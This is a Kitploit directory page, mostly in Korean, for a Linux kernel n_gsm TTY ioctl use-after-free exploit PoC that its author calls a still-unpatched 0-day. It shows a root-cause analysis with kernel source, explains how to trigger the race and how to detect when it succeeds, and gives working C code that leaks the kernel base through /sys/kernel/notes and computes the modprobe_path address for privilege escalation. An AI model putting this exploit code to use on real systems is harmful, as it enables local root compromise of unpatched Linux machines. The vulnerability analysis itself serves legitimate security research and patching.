Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
n_gsm_exploit — Linux 커널 n_gsm TTY ioctl use-after-free 익스플로잇 PoC: 경쟁 조건 분석, 커널 베이스 유출, 힙 스프레이, RIP 하이재킹, 임의 쓰기, modprobe_path 권한 상승. | Kitploit
도구/GitHubGitHub/gmh5225/n_gsm_exploit
Privilege EscalationMemory ForensicsVulnerability AnalysisExploitationBinary Exploitation
GitHubgmh5225/n_gsm_exploit

n_gsm_exploit

Linux 커널 n_gsm TTY ioctl use-after-free 익스플로잇 PoC: 경쟁 조건 분석, 커널 베이스 유출, 힙 스프레이, RIP 하이재킹, 임의 쓰기, modprobe_path 권한 상승.

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이것은 여전히 0-day로 보입니다. 취약점이 패치되기 전에 이 익스플로잇을 공개할 의도는 없었지만, 동일한 취약점을 발견한 다른 연구자가 0-day 익스플로잇을 공개했기에 제 코드도 함께 공개합니다. 연구 목적으로만 사용해 주세요.

RCA

  • Linux 커널의 TTY는 GSM 07.10 멀티플렉싱 프로토콜을 지원합니다.
    • https://docs.kernel.org/driver-api/tty/n_gsm.html
    • https://github.com/torvalds/linux/blob/master/drivers/tty/n_gsm.c
  • GSM에 대해 ioctl이 요청되면 커널에서 다음 함수들이 실행됩니다:

[1] GSMIOC_SETCONF: GSM의 구성을 초기화합니다.

[2] GSMIOC_GETCONF_DLCI: GSM과 연관된 DLCI 구성을 가져옵니다.

[3] GSMIOC_SETCONF_DLCI: GSM과 연관된 DLCI 구성을 변경합니다.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF:
		if (copy_from_user(&c, (void __user *)arg, sizeof(c)))
			return -EFAULT;
		return gsm_config(gsm, &c);//[1]
....
	case GSMIOC_GETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		gsm_dlci_copy_config_values(dlci, &dc);//[2]
		if (copy_to_user((void __user *)arg, &dc, sizeof(dc)))
			return -EFAULT;
		return 0;
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
	default:
		return n_tty_ioctl_helper(tty, cmd, arg);
	}
}
  • 먼저 GSM의 구성을 변경하는 GSMIOC_SETCONF를 살펴보겠습니다.

  • [1] GSM의 현재 구성이 새 구성과 다르면 need_restart가 true로 표시됩니다.

    [2] need_restart가 true이면 gsm_cleanup_mux를 통해 현재 GSM이 종료됩니다.

static int gsm_config(struct gsm_mux *gsm, struct gsm_config *c)
{
	int need_close = 0;
	int need_restart = 0;

...
	if (c->mtu != gsm->mtu)//[1]
		need_restart = 1;

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration. On the first time there is no DLCI[0]
	 * and closing or cleaning up is not necessary.
	 */
	if (need_close || need_restart)
		gsm_cleanup_mux(gsm, true);//[2]

...
	return 0;
}

[1] GSM이 소유한 모든 DLCI는 gsm_dlci_release를 통해 해제됩니다.

static void gsm_cleanup_mux(struct gsm_mux *gsm, bool disc)
{
	int i;
	struct gsm_dlci *dlci;
	struct gsm_msg *txq, *ntxq;

	gsm->dead = true;
	mutex_lock(&gsm->mutex);

...
	for (i = NUM_DLCI - 1; i >= 0; i--)
		if (gsm->dlci[i]){
			gsm_dlci_release(gsm->dlci[i]);//[1]
		}

...
}
  • 이어서 함수들은 다음 순서로 호출됩니다:

    • gsm_dlci_release → dlci_put → gsm_dlci_free

    [1] Use-After-Free(UAF)를 방지하기 위해 gsm->dlci[addr]에 NULL이 할당됩니다.

    [2] 이후 kfree를 사용하여 gsm->dlci[addr]가 해제됩니다.

static void gsm_dlci_free(struct tty_port *port)
{
	struct gsm_dlci *dlci = container_of(port, struct gsm_dlci, port);

	timer_shutdown_sync(&dlci->t1);
	dlci->gsm->dlci[dlci->addr] = NULL;//[1]
	kfifo_free(&dlci->fifo);
	while ((dlci->skb = skb_dequeue(&dlci->skb_list)))
		dev_kfree_skb(dlci->skb);
	kfree(dlci);//[2]

}

GSMIOC_SETCONF_DLCI

  • GSM이 소유한 DLCI의 구성 값을 변경하는 GSMIOC_SETCONF_DLCI를 살펴보겠습니다.

  • [1] 사용자로부터 주소(addr)를 포함한 DLCI 구성을 읽습니다.

    [2] gsm->dlci[addr]을 참조합니다.

    [3] gsm_dlci_config를 호출하여 DLCI의 구성을 변경합니다.

static int gsmld_ioctl(struct tty_struct *tty, unsigned int cmd,
		       unsigned long arg)
{
...
	case GSMIOC_SETCONF_DLCI:
		if (copy_from_user(&dc, (void __user *)arg, sizeof(dc)))//[1]
			return -EFAULT;
		if (dc.channel == 0 || dc.channel >= NUM_DLCI)
			return -EINVAL;
		addr = array_index_nospec(dc.channel, NUM_DLCI);
		dlci = gsm->dlci[addr];//[2]
		if (!dlci) {
			dlci = gsm_dlci_alloc(gsm, addr);
			if (!dlci)
				return -ENOMEM;
		}
		return gsm_dlci_config(dlci, &dc, 0);//[3]
...
}

[1] 사용자가 전달한 옵션에 따라 need_open을 true로 설정합니다.

[2] dlci->state가 DLCI_CLOSED가 될 때까지 대기합니다.

[3] gsm->initiator만 true인 경우, DLCI를 재시작하기 위해 gsm_dlci_begin_open 함수가 호출됩니다.

static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
	struct gsm_mux *gsm;
	bool need_restart = false;
	bool need_open = false;
	unsigned int i;

...
	if (dc->flags & GSM_FL_RESTART)
		need_restart = true;

	if ((open && gsm->wait_config) || need_restart)//[1]
		need_open = true;
	if (dlci->state == DLCI_WAITING_CONFIG) {
		need_restart = false;
		need_open = true;
	}

	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[2]
		if (signal_pending(current))
			return -EINTR;
	}
...
	if (need_open) {
		if (gsm->initiator)
			gsm_dlci_begin_open(dlci);//[3]
		else
			gsm_dlci_set_opening(dlci);
	}

	return 0;
}

취약점

[1] 잠금 없이 gsm->dlci에 접근합니다.

[1] gsm_dlci_config는 dlci에 접근합니다. GSMIOC_SETCONF로 인해 gsm_cleanup_mux가 호출된 경우, 경쟁 조건(race condition)으로 인해 Use-After-Free(UAF)가 발생할 수 있습니다.

  • 정상적인 상황에서는 조건이 매우 짧은 시간 내에 충족되어 wakeup이 호출됩니다.
  • UAF가 발생하면, 사용자 수준에서 wakeup 루틴을 호출하기 위해 다른 IOCTL을 요청하지 않는 한 무한 대기에 빠집니다.
  • 따라서 공격자는 IOCTL이 완료될 때까지의 시간을 측정하여 UAF가 트리거되었는지 여부를 판단할 수 있습니다.
static int gsm_dlci_config(struct gsm_dlci *dlci, struct gsm_dlci_config *dc, int open)
{
...
	/*
	 * Close down what is needed, restart and initiate the new
	 * configuration.
	 */
	if (need_restart) {
		gsm_dlci_begin_close(dlci);
		wait_event_interruptible(gsm->event, dlci->state == DLCI_CLOSED);//[1]
		if (signal_pending(current))
			return -EINTR;
		}
	...
  • wait_event_interruptible에서 대기하는 동안 GSM이 threadFunction2에 의해 재시작됩니다.
    • GSM이 참조하는 DLCI가 kfree되고, wait_event_interruptible이 참조하는 DLCI도 kfree됩니다.
    • 이러한 시나리오에서는 IOCTL 완료에 오랜 시간이 걸리므로, 사용자 공간에서 Use-After-Free(UAF)가 발생했음을 쉽게 감지할 수 있습니다.

커널 베이스 유출

  • 커널의 hypercall_page 주소는 일반 사용자가 읽을 수 있는 /sys/kernel/notes에 기록되어 있습니다. 따라서 공격자는 이 파일을 읽어 커널 베이스를 유출할 수 있습니다.
unsigned long get_kernel_base(){
    const char *filePath = "/sys/kernel/notes";
    const char pattern[] = "Xen\\x00";
    FILE *file;
    uint8_t buffer[1024];
    size_t bytesRead;
    int found = 0;

    file = fopen(filePath, "rb");
    if (!file) {
        perror("File open failed");
        return EXIT_FAILURE;
    }
    int count = 0;
    unsigned long hypercall_page=0;
    while ((bytesRead = fread(buffer, 1, sizeof(buffer), file)) > 0 && !found) {
        for (int i = 0; i < bytesRead - sizeof(pattern); ++i) {
            if (memcmp(buffer + i, pattern, sizeof(pattern) - 1) == 0) {
                if (i + sizeof(pattern) - 1 + 8 <= bytesRead) {
                    uint64_t value;
                    memcpy(&value, buffer + i + sizeof(pattern) - 1, 8);
                    if(value != 0xffffffff80000000 && (value &0xfff) == 0 && (value&0xffff000000000000)){
                        hypercall_page=value;
                        break;
                    }
                }
            }
        }
    }
    if(hypercall_page==0){
        printf("fail to get hypercall_page\\n");
        exit(1);
    }
    kernel_base = hypercall_page - 0x1119000;
    modprobe_path = kernel_base + 0x23d8960;
    kernfs_pr_cont_buf = kernel_base +0x3910d00;
    __rb_free_aux = kernel_base + 0x37ac90;
    perf_aux_output_end = kernel_base + 0x37bf20;
    
    printf("hypercall_page: 0x%lx\\n", hypercall_page);
    printf("kernel_base = 0x%lx\\n",kernel_base);
    printf("modprobe_path = 0x%lx\\n",modprobe_path);
    printf("__rb_free_aux = 0x%lx\\n",__rb_free_aux);
    printf("kernfs_pr_cont_buf = 0x%lx\\n",kernfs_pr_cont_buf);
    
    fclose(file);
    return EXIT_SUCCESS;
}
도구 다운로드